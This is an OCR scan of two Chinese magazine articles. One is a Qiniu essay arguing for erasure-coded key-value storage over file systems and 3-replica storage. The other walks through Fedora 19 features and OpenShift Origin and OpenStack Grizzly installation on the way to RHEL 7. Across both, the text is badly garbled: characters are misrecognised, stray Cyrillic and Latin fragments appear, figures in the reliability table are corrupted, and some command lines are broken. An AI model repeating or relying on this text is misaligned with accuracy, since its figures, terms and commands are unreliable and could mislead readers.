系统 , 真 的 是 最 适合 存储 这 些 语 媒体 数据 的 吗 ? 
不 ， 文 件 系 统 需 要 改变 ， 原因 如 下 。 


“伸缩 性 。 单 机 文件 系统 的 第 一 个 问题 是 
单机 容量 有 限 ， 在 存储 规模 超过 一 人 台 机 
器 可 管理 的 范围 的 时 候 ， 应 该 怎么 办 ? 
“性 能 瓶颈 。 通 第 ， 单 机 文件 系统 在 文件 
数目 达到 临界 点 后 ， 性 能 会 快速 下 降 。 
在 4TB 的 大 容量 磁盘 越 来 越 首 及 的 今天 ， 
这 个 临界 点 相当 容易 达到 。 

。 可靠 性 要 求 。 单 机 文件 系统 通常 只 是 单 
副本 的 方案 ,但 是 今天 单 副 本 的 存储 早 
已 无 法 满足 业务 的 可 靠 性 要 求 。 数 据 需 
要 有 宛 余 (比较 经 典 的 做 法 是 3 副本 )， 
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并 且 在 磁盘 损坏 时 及 早 修复 丢失 的 数据 ， 
以 避免 所 有 的 副本 损坏 造成 数据 丢失 。 

。 可 用 性 要 求 。 单 机 文件 系统 通常 只 是 单 
副本 的 方案 ， 在 该 机 器 宕 机 后 ， 数 据 就 
不 可 读 取 ， 也 不 可 写 入 。 


在 分 布 式 存储 系统 出 现 前 ， 有 一 些 基 于 单 
机 文件 系统 的 改良 版 本 被 一 些 应 用 采纳 。 比 如 
在 单机 文件 系统 上 加 RAID5 做 数据 元 余 ， 来 解 
决 单机 文件 系统 的 可 靠 性 问题 。 假 设 RAID5 的 
数据 修复 时 间 是 1 天 (实际 上 往往 做 不 到 ， 尤 
其 是 业务 系统 本 身 压力 比较 大 的 情况 下 ， 留 给 
RAID 修复 用 的 磁盘 读 写 带宽 很 有 限 )， 这 种 方 
案 单 机 的 可 靠 性 大 概 是 100 年 丢失 一 次 数据 ( 即 
可 靠 性 是 2 个 9 )。 看 起 来 尚 可 ? 但 是 你 得 小 心 
两 种 情况 。 一 种 是 当 你 的 集群 规模 变 大 时 ， 你 
仍然 沿用 这 个 土方 法 ， 比 如 你 现在 有 100 £ X 
样 的 机 右 ， 那 么 就 会 变 成 1 年 就 丢失 一 次 数据 。 
另 一 种 情况 是 如 果实 际 数据 修复 时 间 是 3 天 ， 
那么 单机 的 可 靠 性 就 直 降 至 4 年 丢失 一 次 数据 ， 
100 台 就 是 15 天 丢失 一 次 数据 ， 这 个 数字 显然 
无 法 让 人 接受 。 

Google GFS 是 很 多 人 阅读 的 第 一 份 分 布 
式 存储 的 论文 ， 这 篇 论文 商定 了 3 副本 在 分 布 
式 存 储 系统 里 的 地 位 。 随 后 Hadoop 参 考 此 论 
文 实现 了 开源 版 的 GFS 一 一 HDFS。 但 关于 
Hadoop 的 HDFS 实际 上 业界 有 不 少 误 区 。GFS 
的 设计 有 很 强 的 业务 背景 特征 ， 本 喘 是 用 来 做 
搜索 引擎 的 。HDFS 更 适合 做 日 志 存 储 和 日 志 
分 析 (数据 挖掘 )， 而 不 是 存储 海量 的 富 媒 体 文 
fF, 原因 如 下 。 


° HDFS 的 block 大 小 为 64M， 如 果 文 件 
不 足 64M 也 会 占用 64M。 而 富 媒 体 文件 
大 部 分 仍然 很 小 ， 比 如 图 片 常规 尺寸 在 
100K 左右 。 有 人 可 能 会 说 我 可 以 调 小 
block 的 尺寸 来 适应 ， 但 这 是 不 正确 的 做 
法 。HDFS 的 架构 是 为 大 文件 而 设计 的 ， 
不 可 能 简单 地 通过 调整 block 的 大 小 就 
可 以 满足 海量 小 文件 存储 的 需求 。 

* HDFS 是 单 Master 结构 ， 这 决定 了 它 能 
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够 存储 的 元 数据 条 目 数 有 限 ， 伸 缩 性 存 
在 问题 。 当 然 作 为 大 文件 日 志 型 存储 ， 
这 个 瓶颈 会 非常 晚 才 遇 到 ; 但 是 如 果 作 
为 海量 小 文件 的 存储 ， 这 个 瓶颈 很 快 就 

ZB E. 

* HDFS 仍然 沿用 文件 系统 的 API 形 式 。 
比如 它 有 目录 这 样 的 概念 ， 在 分 布 式 系 
统 中 维护 文件 系统 的 目录 树 结构 ， 会 遭 
遇 诸 多 难题 。 所 以 HDFS 8 2°, Master 47 
展 为 分 布 式 的 元 数据 集群 并 不 容易 。 


分 布 式 存储 最 容易 处 理 的 问题 域 还 是 单 键 
值 的 存储 ， 也 就 是 所 谓 的 Key-Value 存储 。 只 
有 一 个 Key， 就 意味 着 我 们 可 以 通过 对 Key 做 
Hash， 或 者 对 Key 做 分 区 ， 来 让 请 求 快速 定位 
到 某 一 台 特 定 的 存储 机 右上 ， 从 而 转化 为 单机 
问题 。 这 也 是 为 什么 在 数据 库 之 后 ,会 冒 出 来 
那么 多 NoSQL 数据 库 。 因 为 数据 库 和 文件 系 
统一 样 ， 最 早 都 是 单机 的 ， 在 伸缩 性 、 性 能 瓶 
£i (在 单机 数据 量 太 大 时 )、 可 靠 性 、 可 用 性 上 
遇 到 了 相同 的 麻烦 。NoSQL 数 据 库 的 名 字 其 
实 并 不 恰当 ， 它 们 更 多 的 不 是 去 SQL， 而 是 去 
关系 (我 们 知道 数据 库 更 完整 的 称呼 是 关系 型 
数据 库 )。 有 关系 意味 着 有 多 个 索引 ,也 就 是 
有 多 个 Key， 而 这 对 数据 库 转 为 分 布 式 存储 系 
统 来 说 非常 不 利 。 

七 牛 云 存储 的 设计 目标 是 针对 海量 小 文 
件 的 存储 ， 所 以 它 对 文件 系统 的 第 一 个 改变 
也 是 去 关系 ， 也 就 是 去 目录 结构 (有 目录 意味 
着 有 父子 关系 )。 所 以 七 牛 云 存储 不 是 文件 系 
统 (File System ), 而 是 键 值 存储 (Key-Value 
Storage ), 用 时 後 点 的 话说 就 是 对 和 象 存储 ( Object 
Storage )。 不 过 七 牛 目 己 嘉 欢 把 它 叫 作 资 源 存 
储 (Resource Storage )， 因 为 它 是 用 来 存储 静 
态 资源 文件 的 。 蛮 多 七 牛 云 存储 的 新 手 会 问 ， 
为 什么 我 在 七 牛 的 API 中 找 不 到 创建 目录 这 样 
的 API， 根 本 原因 还 是 受 文件 系统 这 个 经 典 存 
fi & E SEA] 

七 牛 云 存 储 的 第 一 个 实现 版 本 ， 从 技术 上 
来 说 是 经 典 的 3 副本 的 键 值 存储 。 它 由 元 数据 
集群 和 数据 块 集群 组 成 。 每 个 文件 被 切 成 了 
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以 4M 为 单位 的 一 个 个 数据 块 ， 各 个 数据 块 按 
3 副本 做 元 余 。 但 是 作为 云 存 储 ， 它 并 不 仅仅 
是 一 个 分 布 式 存 储 集群 ， 它 需要 额外 考虑 以 下 
问题 。 
。 网 络 问 题 ， 也 就 是 文件 的 上 传 下 载 问题 。 
文件 上 传 方面 ， 我 们 得 考虑 在 相对 比较 
差 的 网 络 条 件 下 (比如 2G/3G 网 络 ) 如 何 
确保 文件 能 够 上 传 成 功 ， 大 文件 (七 牛 
云 存 储 的 单 文 件 大 小 最 大 是 1TB ) 如何 
能 够 上 传 成 功 ， 如 何 能 够 更 快 地 上 传 。 
文件 下 载 加 速 方面 ， 考 虑 到 CDN 已 经 有 
了 10 多 年 的 历史 ， 非 常 成 熟 ， 我 们 决定 
基于 CDN 来 做 下 载 加 速 。 
。 数 据 处 理 。 当 用 户 将 文件 托管 到 了 七 牛 ， 
那么 针对 文件 内 容 的 数据 处 理 需 求 也 会 
自然 衍生 。 比 如 我 们 第 一 个 客户 就 给 我 
们 提 了 图 片 缩 略图 相关 的 需求 。 在 音 视 
频 内 容 越 来 越 多 的 时 候 ， 自 然 就 有 了 音 
视频 转 码 的 需求 。 可 以 预见 在 Office 文 
档 多 了 后 ， 也 就 会 有 Office 文 档 转 换 的 


所 以 从 技术 上 来 说 , 七 牛 云 存储 是 这 样 的 : 


七 牛 云 存 储 = 分 布 式 存储 集群 + 上 传 加 速 
网 络 ( 下 载 外 包 给 CDN 半数 据 处 理 集群 


网 络 问 题 并 不 是 七 牛 要 解决 的 核心 问题 ， 
只 是 我 们 要 面 对 的 现实 困难 。 所 以 在 这 个 问题 
上 如 果 有 足够 专业 的 供应 商 ， 能 够 外 包 我 们 会 
尽 可 能 外 包 。 而 分 布 式 存储 集群 的 演进 和 优化 ， 
才 是 我 们 最 核心 的 事情 。 早 在 2012 年 2 月 ， 我 
们 就 启动 了 新 一 代 基 于 纠 删 码 算术 宛 余 的 存储 
系统 的 研发 。 新 存储 系统 的 关注 点 在 以 下 几 个 
方面 


。 成 本 。 经 典 的 3 副本 存储 系统 虽然 经 典 ， 
但 是 代价 也 是 高 昂 的 ， 需 要 我 们 投入 3 
倍 的 存储 成 本 。 那 么 能 不 能 保证 在 高 可 
靠 和 高 可 用 的 前 提 下 把 成 本 做 下 来 ? 

。 可 靠 性 。 如 何 进 一 步 提升 存储 系统 的 可 


靠 性 ? 答案 是 更 高 的 容错 能 力 ( 从 允许 
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同时 损坏 两 块 盘 到 允许 同时 损坏 4 块 盘 )、 
更 快 的 修复 速度 (从 原先 3 小 时 修复 一 块 
坏 盘 到 30 分 钟 修复 一 块 坏 盘 )。 

。 伸 缩 性 。 如 何 从 系统 设计 容量 、IO 吞吐 
能 力 、 网 络 拓扑 结构 等 角度 ， 让 系统 能 
够 支持 EB 级 别 的 数据 存储 规模 ? 关于 
伸缩 性 这 个 话题 ， 涉 及 的 点 是 全 方位 的 ， 
本 文 不 展开 讨论 (让 我 们 把 焦点 放 在 成 
本 和 可 靠 性 上 )。 


在 经 过 了 四 个 大 的 版 本 迭代 后 ,七 牛 新 
一 代 云 存储 (v2 ) 终 于 上 线 。 新 存储 的 第 一 大 
亮点 是 引入 了 纠 删 码 ( EC ) 这样 的 算术 宛 余 方 
案 ， 而 不 再 是 经 典 的 3 副本 宛 余 方案 。 我 们 的 
EC 采用 的 是 28+4, 也 就 是 把 文件 切 分 为 28 份 ， 
然后 再 根据 这 28 份 数据 计算 出 4 份 元 余数 据 ， 
最 后 把 这 32 份 数据 存储 在 32 台 不 同 的 机 器 上 。 
这 样 做 的 好 处 是 既 便 宜 ， 又 提升 了 可 靠 性 和 
可 用 性 。 从 成 本 角度 来 说 ， 同 样 是 要 存储 1PB 
的 数据 ， 要 买 的 存储 服务 器 只 需 3 副 本 存储 的 
36.5%， 经 济 效益 相当 好 ; 从 可 靠 性 方面 来 说 ， 
以 前 3 副本 只 能 允许 同时 损坏 两 块 盘 ， 现 在 能 
人 够 允许 同时 损坏 4 块 盘 ， 大 大 改善 了 可 靠 性 (后 
面 讨 论 可 靠 性 的 时 候 我 们 给 出 具体 的 数据 ) ; 
从 可 用 性 角度 来 说 ， 以 前 能 够 接受 两 台 服 务 髓 
下 线 ， 现 在 能 够 同时 允许 4 台 服 务 器 下 线 。 

新 存储 的 第 二 大 亮点 是 修复 速度 ， 我 们 把 
单 盘 修 复 时 间 从 3 小 时 提升 到 了 30 分 钟 以 内 。 
修复 时 间 同 样 对 提升 可 靠 性 有 着 重要 意义 (后 
面 讨论 可 靠 性 的 时 候 我 们 会 给 出 具体 的 数据 )。 
这 个 原因 是 比较 容易 理解 的 。 假 设 我 们 的 存储 
允许 同时 坏 M 块 盘 而 不 丢失 数据 ， 那么 集群 
可 靠 性 ， 就 是 看 在 单位 修复 时 间 内 ， 同 时 损坏 
M+1 块 盘 的 概率 。 例如, 假设 我 们 的 修复 时 
间 是 3 小 时 ， 那么 3 副本 集群 的 可 靠 性 就 是 看 
3 小 时 内 同时 损坏 3 块 盘 的 概率 (也 就 是 丢 数 据 
的 概率 )。 

让 我 们 回 到 存储 系统 最 核心 的 指标 一 一 
可 靠 性 。 首 先 ， 可靠 性 和 集群 规模 是 相关 的 。 
假设 我 们 有 1000 块 磁盘 的 集群 ， 对 于 3 副本 存 
储 系统 来 说 ， 这 1000 块 盘 同时 坏 3 块 就 会 发 生 
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数据 丢失 ， 这 个 概率 显然 比 3 块 盘 同 时 坏 3 块 
要 高 很 多 。 基 于 这 一 点 ， 有 人 可 能 会 想 这 样 的 
土方 法 : 如 采 把 集群 分 为 3 块 磁盘 为 一 组 ， 互 
为 镜像 ，1000 块 盘 就 是 333 组 (不 好 意思 多 了 
191, 我 们 忽略 这 个 细 市 )， 是 不 是 可 以 提升 可 
徘 性 ?这 些 同学 忽略 了 下 面 一 些 关 键 点 。 


。3 块 盘 同时 坏 3 块 (从 而 丢失 数据 ) 的 概率 
为 p， 那 么 333 组 这 样 的 集群 ， 丢 失 数 据 
的 概率 是 1-(1-p)^333 z p * 333, 而 不 是 p。 
° Z 25 4:49 83 LZ Ab Ж 4 iE ДЕШ. 
颈 。 坏 一 块 盘 后 你 需要 找 一 个 新 盘 进 行 
数据 对 找 ， 而 一 块 大 容量 磁盘 数据 对 描 
的 典型 时 间 是 15 小 时 (我 们 后 面 将 给 出 
15 小 时 同时 坏 3 块 盘 的 概率 )。 要 想 提 升 
这 个 修复 速度 ， 第 一 步 就 需要 打破 镜像 
"WAR ARIS. 


如 采 一 个 存储 系统 的 修复 时 间 是 恒定 的 ， 
那么 这 个 存储 集群 在 规模 扩大 的 时 候 ， 必 然 伴 
随 着 可 徘 性 的 降低 。 所 以 最 理想 的 情况 是 集群 
越 大 ， 修 复 速度 越 快 。 这 样 才 能 抵消 因 集群 增 
大 导致 坏 盘 概率 增加 市 来 的 负面 影响 。 计 算 表 
HH, 如 条 修复 速度 和 集群 规 便 成 正比 (线性 关系 )， 


那么 集群 随 看 规模 增 大 ， 可 靠 性 会 越 来 越 高 。 
表 1 中 列 出 了 10 块 便 盘 的 存储 集群 在 不 同 存 
储 方 宁 、 不 同 修复 时 间 下 的 可 徘 性 计算 结 

关于 数据 丢失 概率 具体 的 计算 公式 和 计算 
方法 ， 由 于 篇 幅 所 限 ， 本 文中 不 做 展开 ， 我 会 
妨 找 机 会 讨论 。 

对 我 个 人 而 言 , 七 牛 新 一 代 云 存储 (v2) 
的 完成 ， 了 了 我 多 年 的 凤 愿 。 但 七 牛 不 会 就 此 
停止 脚步 。 我 们 在 存储 系统 上 又 有 了 一 些 好 玩 
的 想法 。 从 长 远 来 说 ， 单 位 存储 的 成 本 会 越 来 
越 低 \ 便 件 和 软件 系统 都 会 推动 这 个 发 展 趋势 ) 
而 存储 系统 肯定 会 越 来 越 复 杂 。 例 如 ， 有 赖 于 
超 高 的 容错 能 力 ， 七 牛 对 单 块 磁盘 的 可 靠 性 要 
求 降低 了 很 多 ， 这 就 为 未 来 我 们 采用 困 面 便 盘 
而 不 是 企业 硬盘 作为 存储 介质 打下 了 基础 。 但 
是 单 块 磁盘 可 年 性 的 降低 ， 则 会 进一步 推动 存 
储 系统 往复 林 的 方向 发 展 。 基 于 这 个 推理 ， 我 
认为 存储 必然 需要 转 为 去 服务， 成 为 水 电 煤 一 
样 的 基础 设施 。 存 储 系统 越 来 越 复 杂 ， 越 来 越 
专业 , 这 就 导致 目 建 存储 的 难度 和 成 本 越 来 越 高 ， 
目 建 存储 的 必要 性 也 越 来 越 低 。 必然 有 那么 一 天 ， 
你 会 发 现 云 存储 的 成 本 远 低 于 自 建 存储 的 成 本 ， 
到 时 自 建 存储 就 会 是 纯 投 入 而 无 产 出 ， 也 就 没 
有 多 少 人 会 去 热 束 于 干 这 样 的 事情 了 。 


表 1 1000 块 硬盘 的 存储 集群 在 不 同 存储 方案 、 不 同 修复 时 间 下 的 可 靠 性 计算 结果 
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副本 存储 方案 容错 度 ( M ) 修复 时 间 数据 去 失 概率 (P ) Ek: 
30 分 钟 1.00E-08 8 个 9 
3 副本 方案 3 小 时 1.00E-05 59 
15 小 时 1.00E-02 229 
30 分 钟 1.00E-16 16 个 9 
28+4 算 术 宛 余 方案 3 小 时 1.00E-11 1129 
15 小 时 1.00E-07 
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ЙН ах “EE AE TS AIA” 


Red Hat Enterprise Linux 7 


冲刺 阶段 中 的 


Fedora 19 


У / ЖЕҢ! 
FRH 


Fedora 19( 项 目 名 : ВЕЛ Schrodinger's Cat ) кё Red Hat Enterprise Linux 7( 以 下 简称 RHEL 7 ) 的 基础 。 原 
定 是 由 Fedora 18 担 此 重任 的 ， 但 是 由 于 几 个 主要 功能 的 开 帮 延期， 导致 这 一 重担 沙 在 了 Fedora 19 身 上 。 下 面 大 


概 介绍 一 下 Fedora 19 的 新 功能 ， 以 逐步 过 渡 到 RHEL 7 , 


作为 RHEL 7 基础 增加 必 
要 的 功能 


现行 版 本 RHEL 6 LJ Fedora 12 为 基础 ， 
Fedora 的 7 个 版 本 在 大 约 3.5 年 的 进化 过 程 中 
被 逐步 编 人 了 RHEL 7。 尽 管 如 此 ， 因 为 RHEL 
6 也 有 不 少 功 能 被 向 后 迁移 ， 所 以 Fedora12 
到 19 的 变化 并 不 等 于 RHEL 6 到 7 的 变化 。 比 
如 LVM( Logical Volume Manager ) 的 Thin 
Provisioning 功能 在 RHEL 6 中 也 可 使 用 。 

另外 ，RHEL 7 的 基础 之 所 以 从 Fedora 18 
转 为 了 19， 是 由 于 后 述 的 Checkpoint / Restore 
等 重要 而 且 技 术 难 度 较 大 的 功能 的 开发 有 所 延 
述 。 本 文 将 挑选 一 些 新 增 和 变更 的 重要 功能 进 
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[Y 对 云 的 正式 支持 


OpenShift Origin 是 社区 版 的 PaaS 环境 ， 是 Red 
Hat 面 器 企业 提供 的 公有 Paag 产品 OpenShiftOnline 


(D backport， 即 在 给 RHEL7 打 补丁 的 时 候 也 给 RHEL6 打 补 
Ta TE TE 
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FI F A Paas 产品 OpenShiftEnterprise 的 基础 。 
Op nShift Origin Jii Н H Red Hat HIF Æ, M 
而 形成 社区 ， 为 其 成 末 提 供 QA( 品 质保 证 )， 
确认 其 与 RHEL 的 兼容 性 并 回 企 业 提 供 长 期 的 
技术 文 持 生命 周期 ， 从 这 一 点 来 看 ， 可 以 说 
OpenShiftOnline 以 及 OpenShiftEnterprise 之 间 
的 关系 与 Fedora 和 RHEL 之 间 的 关系 是 同样 的 。 

OpenShift 使 用 Java、PHP、Ruby、Node.js、 
Python, Perl 等 开发 语言 , 以 及 MySQL ( MariaDB )、 
MongoDB., PostgreSQL 等 数据 库 ， 并 将 集成 
TH Jenkins Е 7 Paas 提供 给 用 户 。 开 发 工程 
师 只 需 在 Web 控 制 台 (Web console ) 上 选择 并 
配置 项 目 需要 使 用 的 开发 环境 ， 设 置 版 本 管理 
工具 git， 就 可 以 开始 书写 代码 了 。 

另外 ， 由 于 OpenShift Origin 本 身 的 安装 就 
比较 麻烦 ， 因 此 Fedora19 фе: © үл s Se 
的 手工 作业 。 不 过 利用 Red Hat 的 Troy Dawson 
在 GitHub 上 公开 的 安装 脚本 可 以 使 工作 变 得 
很 轻松 。 虽 然 还 可 以 使 用 从 OpenShift Origin 
HJ Web 网 站 (http://openshift.github.io/ ) 下 载 的 
虚拟 客户 机 的 映像 文件 , 但 是 根据 笔者 的 测试 ， 
映像 文件 在 Fedora 19 上 不 能 正常 工作 。 还 有 
一 个 缺点 就 是 Fedoral9 的 OpenShift Origin 不 


(2 http://fedoraproject.org/wiki/OpenShift Origin-F19 
(3) https://github.com/tdawson/oo-install-scripts 
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Red Hat Enterprise Linux 7 冲刺 阶段 中 的 Fedora 19 


А у Web til S, Fedora 20 才 会 日 带 。 
对 开发 工程 师 来 说 ,能 通过 命令 行使 用 
Paas 就 足够 了 了。 下 面 将 介绍 使 用 安 闭 脚本 的 安 


Ill OpenShift Origin 的 安装 

利用 前 述 的 Troy Dawson 的 脚本 进行 安装 。 
首先 在 两 台 机 胡 上 安装 Fedora 19， 将 一 台 作 为 
broker， 男 外 一 台 作 为 node。 首 先 安装 broker， 
F broker 上 安装 git 包 并 下 载 脚本 (图 1 )。 

FH ZJ #5 як 1] JF oo-install-scripts/oo-install. 
conf， 根 据 搭建 的 网 络 环境 进行 设置 。 下 面 的 
oo-install.conf 的 例子 是 笔者 的 环境 。 


DOMAIN-"example.com" 
BROKERNAME-" broker" 


NODENAME-" node" 
BROKERIP-"192.168.1.40" 
NODEIP-"192.168.1.41" 


F m fA 17 setup-brokersh, Н F ТЕ 2 2 
过 程 中 会 出 现 SELinux 报 错 而 不 能 正常 安装 
Fedora 19， 因 此 暂时 先 关 掉 报 警 。 


# setenforce 0 


脚本 中 加 上 --slow 选 项 在 排 错 (trouble 
shooting ) 时 会 很 有 用 ， 所 以 第 一 次 还 是 加 上 
ATAMER Ta 


# cd oo-install-scripts 


# sh setup-broker.sh --slow 


done mobs. EH systemet fi 
SWAT openshift-broker 服 务 已 经 启动 (图 2 )。 


У E] 1 


使 用 Troy Dawson АЈ А5 


# yum -y install git 


r3) 


ifi Z3 node, Ў setup-node-from-broker. 
sh 时 有 两 点 需要 注意 。 第 一 个 是 在 broker- 
node-auth-setup.sh 中 进行 ssh 的 密 钥 交换 的 过 程 
中 ， 从 broker 回 node 传送 时 ， 如 果 node 上 没有 


/root/ .ssh/ 目录 ， 就 会 发 生 错误 。 应 该 事先 登录 
node 执 行 ssh 命 令 。 另 外 一 个 与 区 域 设 置 有 关 ， 
node 的 字符 集 如 果 是 ja JP.UTF-8， 则 node- 
quota.sh 会 出 错 ， 因 此 事先 设置 成 LANG=C 比 
较 保 险 。 


# sh setup-node-from-broker.sh 


4 


node 重 起 之 后 ， 需 要 在 broker 上 测试 broker 


是 否 能 与 node 通 信 。 


# mco ping 


node.example.com time=131.69 ms 


= И statistics === 
1 replies max: 131.69 min: 131.69 avg: 
131.69 


之 后 需要 在 broker 上 测试 broker 是 否 工 作 
(图 3 )。 
到 此 broker 和 node 的 安装 就 结束 了 。 


m 设置 用 户 

下 面 设置 使 用 OpenShift Origin 的 用 户 并 
配置 初始 的 应 用 。 在 客户 剖 机 带 上 安 狠 Fedora 
19 并 安装 rubygem-rhc 包 。 


# yum -y install rubygem-rhc 


其 次 ,将 环境 参数 LIBRA SERVER 设置 
为 broker 的 主机 名 ， HÍT rhe setup 命令 。 虽 然 


# git clone git://github.com/tdawson/oo-install-scripts.git 


У 2 使 用 systemctl 确 认 openshift-broker 服 务 是 否 


# systemctl status openshift-broker 


openshift-broker.service - The OpenShift Origin Broker 


Loaded: Loaded (/usr/lib/systemd/system/openshift-broker.service; enabled) 
Active: active (running) since Mon 2013-07-15 00:46:10 JST; 345 ago 
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目 名 是 “ 薛 定 谤 的 猫 


脚本 有 点 长 ， 但 成 功 安装 之 后 束 是 如 此 ， 这 里 
附 上 脚本 全 文 供 读者 参考 (图 4)。 执 笔 时 笔者 
EEA] y bug, EXHAR EWA To WRH 
— J h Ж Y IR, broker BJ /var/log/openshift/ 
broker/httpd/error log 会 很 有 帮助 。 

如 此 就 完成 了 客户 问 的 安装 ， 下 面 设置 初 


# rhc app-create test diy-0.1 -p demo 


配置 完成 之 后 将 broker 指 定 为 名 字 服 务 需 ， 
访问 http://test-demoland.example.com/， 即 可 访 
问 由 配置 好 的 应 用 生成 的 网 页 。 


采用 OpenStack Grizzly 


从 OpenStack 的 第 4 个 版 本 Fedora 附 融 的 
Diablo 开始， 因为 Fedora 与 OpenStack 的 发 布 
周期 同 为 6 个 月 ， 所 以 二 者 的 版 本 升级 的 时 
期 也 是 一 致 的 ，Fedoral7、18、19 分 别 附带 
[f Essex, Folsom 和 Grizzly。 当 然 , 下 一 个 
Fedora20 应 该 也 附带 有 OpenStack 的 下 一 个 版 
7k Havana. 


Ill Fedora 19 的 Grizzly E 8f 8E 

x UTD] "BST Bye. LATER] RDO 
项 目的 成 果 ， 所 谓 RDO 是 指 将 OpenStack 的 社 
X ( http://openstack.org/ ) 分 发 的 源 代 码 打 包 用 
F Fedora #1 Red Hat 系 的 Linux 发 布 版 。RDO 
是 Red Hat 赞 助 的 社区 ，Red Hat 以 其 成 果 为 基 
HH ^E y> f Red Hat Enterprise Linux OpenStack 
Platform( 以 下 简称 RHOS ) 这 一 商用 产品 ,在 
这 一 点 上 ， 它 与 前 面 所 述 的 OpenShift 是 完全 
相同 的 模式 。 

用 OpenStack 社 区 版 构筑 过 Open Stack 的 
人 都 知道 ,由 于 OpenStack 还 远 远 没有 成 熟 ， 
因此 将 RDO 作 为 较为 原始 的 第 一 阶段 产品 ， 
将 RHOS 作为 较为 稳定 的 第 二 阶段 产品 ， 这 样 


w[E3 在 broker 上 测试 broker 是 否 工作 


# curl -k -u дето: дето https://Localhost/broker/rest/api 


的 产品 定型 方式 意义 重大 。 而 且 ， 因 为 社区 版 
的 发 布 周期 为 6 个 月 ， 只 能 设 定 较 短 的 文 持 期 ， 
而 与 此 相对 ，RHOS 的 支持 期 更 长 ， 而 且 文 持 
后 续 厂 本 的 回 后 迁移 ， 所 以 更 适合 企业 使 用 。 


lll OpenStack Grizzly 的 功能 强化 点 

构筑 Iaags 的 策略 OpenStack 的 第 7 个 版 本 
Grizzly 中 , 出 现 了 200 项 以 上 的 新 功能 号, 下面 
仅 列 出 其 中 主要 的 几 项 。 


* Nova: 强化 了 扩展 性 ， 改 进 了 对 超级 系 
统管 理 程序 ( hypervisor ) 的 支持 等 

° Swift: 配额 功能 

Cinder: 日 程 管 理 功 能 ， 增 加 了 各 种 存 
储 器 驱动 

* Neutron: 增加 了 Big Switch 和 Brocade 
等 插件 ， 强 化 了 扩展 性 


基于 Grizzly 的 RHOS 3.0 没 有 技术 支持 ， 
但 还 是 包含 了 收集 交 费 信息 的 Ceilmeter 应 用 和 
进行 编排 ( orchestration ) 的 Heat 应 用 。 


Ей 喂 喂 熊 吧 

下 面 终于 要 说 到 在 Fedora 19 上 安装 
Grizzly 了 ， 但 是 在 笔者 执笔 本 文 时 ( Fedora 19 
RC1 ) 用 一 般 的 手段 还 安装 不 了 。 下 面 介 绍 一 
下 安装 时 会 发 生 的 问题 和 处理 方法 ， 读 者 拿 到 
本 困 志 时 可 能 这 里 的 介绍 已 经 没 用 了 (祈祷 有 
HD, 或 者 也 可 能 会 遇 到 新 问题 ,但 那 就 不 在 
我 们 的 讨论 范围 之 内 了 。 

另外 ,关于 这 里 举 出 的 问题 ， 笔 者 和 同 
休 已 经 向 RDO 或 者 Red Hat 的 问题 管理 系统 
Bugzilla ( https://bugzilla.redhat.com/ ) É: £ f |n] 
题 报 告 并 附带 了 补丁 ， 所 以 这 些 问 题 早 晚会 解 
决 的 。 


(4) http://Web.openstack.org/software/grizzly/ 


{"data":{"API":{"href":"https://localhost/broker/rest/api","method 
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本 着 不 怕 上 述 “ 威 胁 ” 的 态度 ， 下 面 对 一 体 


# pvcreate /dev/sda4 


的 ， 也 就 是 用 1 NL IZ: Grizzly 的 方法 进行 指定 空闲 分 区 | 
说 明 。 一 体 的 安装 可 以 使 用 packstack 安装 脚本 。 H vgcreate cinder-volumes /dev/sda4 


(D 安装 Fedora 19 x86. 64 (2) 安装 openstack-packstack 包 
"cinder-volumes" ЖН ( VG ) 可 以 在 安装 的 fii FH yum install 命 令 安 装 。 


时 候 生 成 ， 也 可 以 在 安装 完毕 之 后 使 用 pvcereate/ | 
. # yum -y install openstack-packstackyu 
vgcreate 命令 生成 。 


w[E4 rhcsetup 命令 执行 的 过 程 


# LIBRA_SERVER=broker.example.com rhc setup 
OpenShift Client Tools (RHC) Setup Wizard 


This wizard will help you upload your SSH keys, set your application namespace, and check F4 
that other programs like Git are properly installed. 

Тһе server's certificate is self-signed, which means that a secure connection can't be В 
established to 'broker.example.com'. 

You may bypass this check, but any data you send to the server could be intercepted by F4 
others. 


Connect without checking the certificate? (yes|no): yes 
Login to broker.example.com: demo 
Password: **** 


OpenShift can create and store a token on disk which allows to you to access the server F4 
without using your password. The key is stored in your home directory and should be kept F4 
secret. You can delete the key at any time by running 'rhc Logout'. 

Generate a token now? (yes|no) no 


Saving configuration to /root/.openshift/express.conf ... done 


No SSH keys were found. We will generate a pair of keys for you. 
Created: /root/.ssh/id rsa.pub 
Your public SSH key must be uploaded to the OpenShift server to access code. Upload now? (yes|no) yes 


Since you do not have any keys associated with your OpenShift account, your new key will be 
uploaded as the 'default' key. 

Uploading key 'default' ... done 

Checking for git ... found git version 1.8.3.1 

Checking common problems .. done 

Checking your namespace ... none 

Your namespace is unique to your account and is the suffix of the public URLs we assign to 
your applications. You may configure your 

namespace here or leave it blank and use 'rhc create-domain' to create a namespace later. 
You will not be able to create applications 

without first creating a namespace. 


Please enter a namespace (Letters and numbers only) |<none>|: demoland 
Your domain name 'demoland' has been successfully created 


Checking for applications ... none 
Run 'rhc create-app' to create your first application. 


You are using 0 of 100 total gears 
The following gear sizes are avallable to you: small 


Your client tools are now configured. 
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(3) 为 了 避 开 问题 安装 python-django14、httpd 包 
Grizzly 中 包含 的 Glance( 虚 拟 机 映像 服 
务 ) 需 要 python-django 的 1.4 系 列 ， 而 Fedora 
19 中 包含 的 是 1.5 系列 ， 所 以 会 有 冲突 。 为 外 
packstack 的 puppet 模 板 适 用 于 Apache 2.2 £ 
列 ， 因 此 使 用 Fedora 19 中 包含 的 Apache 2.4 的 
设置 文件 会 产生 语法 错误 导致 httpd 无 法 局 动 。 
因此 需要 保持 httpd 包 目 带 的 httpd.conf( 图 5 )。 


修改 mysql 的 puppet 资 源 配 置 文件 
将 /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/mysql/manifests/params.pp 文件 的 


case $::0sfamily { 


'RedHat': ( 


之 后 的 


'mysql' 
'mysql- 


$client_package_name 
$server_package_name 
server ' 


修改 成 


$client package name 


' mar iadb' 
'mariadb- 


$server_package_name 
server! 


后 面 还 会 说 到 ，Fedora 19 中 把 缺 省 数据 库 
JA MySQL 变更 为 了 MariaDB ， 由 此 mysql 包 的 
名 称 也 变更 为 了 community-mysql。 如 果 不 修 
改 资源 配置 文件 直接 安 闭 的 话 ， 就 会 出 现 “ 没 


wE|5 保持 httpd 包 自 带 的 httpd.conf 


# yum -y install pytho-django14 httpd 
H# cp -a /etc/httpd/conf/httpd.conf ./ 


# chcon --reference /etc/httpd/conf/httpd.conf . 


httpd.conf (срав<7 f JI -a IRAIA ) 


有 图 6 被 注解 掉 的 行 


exec ('load kvm': 
